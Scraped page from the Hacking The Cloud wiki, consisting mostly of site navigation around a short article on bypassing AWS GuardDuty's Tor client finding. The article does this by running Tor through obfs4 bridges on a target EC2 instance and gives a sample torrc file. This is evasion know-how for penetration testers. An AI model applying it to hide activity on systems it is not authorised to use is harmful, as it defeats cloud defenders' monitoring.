1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4 checked> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=true> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/avoiding-detection/guardduty-tor-client.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=bypass-guardduty-tor-client-findings>Bypass GuardDuty Tor Client Findings<a class=headerlink href=#bypass-guardduty-tor-client-findings title="Permanent link">&para;</a></h1> <p><a href=https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-ec2.html#unauthorizedaccess-ec2-torclient>UnauthorizedAccess:EC2/TorClient</a> is a high severity GuardDuty finding that fires when an EC2 instance is detected making connections to Tor <a href=https://community.torproject.org/relay/types-of-relays/#Guard%20and%20middle%20relay>Guard</a> or Authority nodes. According to the documentation, "this finding may indicate unauthorized access to your AWS resources with the intent of hiding the attacker's true identity".</p> <p>AWS determines this by comparing connections to the <a href=https://metrics.torproject.org/exonerator.html>public list of Tor nodes</a>. To those familiar with the Tor project, this is a common problem. Countries, internet service providers, and other authorities may block access to the Tor network making it difficult for citizens to access the open internet.</p> <p>From a technical perspective the <a href=https://www.torproject.org/ >Tor Project</a> has largely gotten around this by using <a href=https://community.torproject.org/relay/types-of-relays/#Bridge>Bridges</a>. Bridges are special nodes that do not disclose themselves like other Tor nodes do. Individuals who would normally have difficulty connecting directly to Tor can instead route their traffic through Bridge nodes. Similarly, we can bypass the Tor Client GuardDuty finding by using bridges.</p> <p>To do so, download the Tor and obfs4proxy binaries (the simplest way to do this on a Debian based system is <code>apt install tor obfs4proxy</code> and move them to your target). <a href=https://gitlab.com/yawning/obfs4>Obfs4</a> is a <a href=https://2019.www.torproject.org/docs/pluggable-transports.html.en>Pluggable Transport</a> which modifies Tor traffic to communicate with a bridge. Navigate to <a href=https://bridges.torproject.org/options>bridges.torproject.org</a> to get a bridge address. </p> <p>From here, create a torrc file with the following contents (being sure to fill in the information you got for the bridge address):</p> <div class=highlight><pre><span></span><code>UseBridges 1
 Bridge obfs4 *ip address*:*port* *fingerprint* cert=*cert string* iat-mode=0
 ClientTransportPlugin obfs4 exec /bin/obfs4proxy
 </code></pre></div> <p>You will now be able to connect to the Tor network with <code>tor -f torrc</code> and you can connect to the Socks5 proxy on port 9050 (by default).</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">January 9, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">February 20, 2021</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 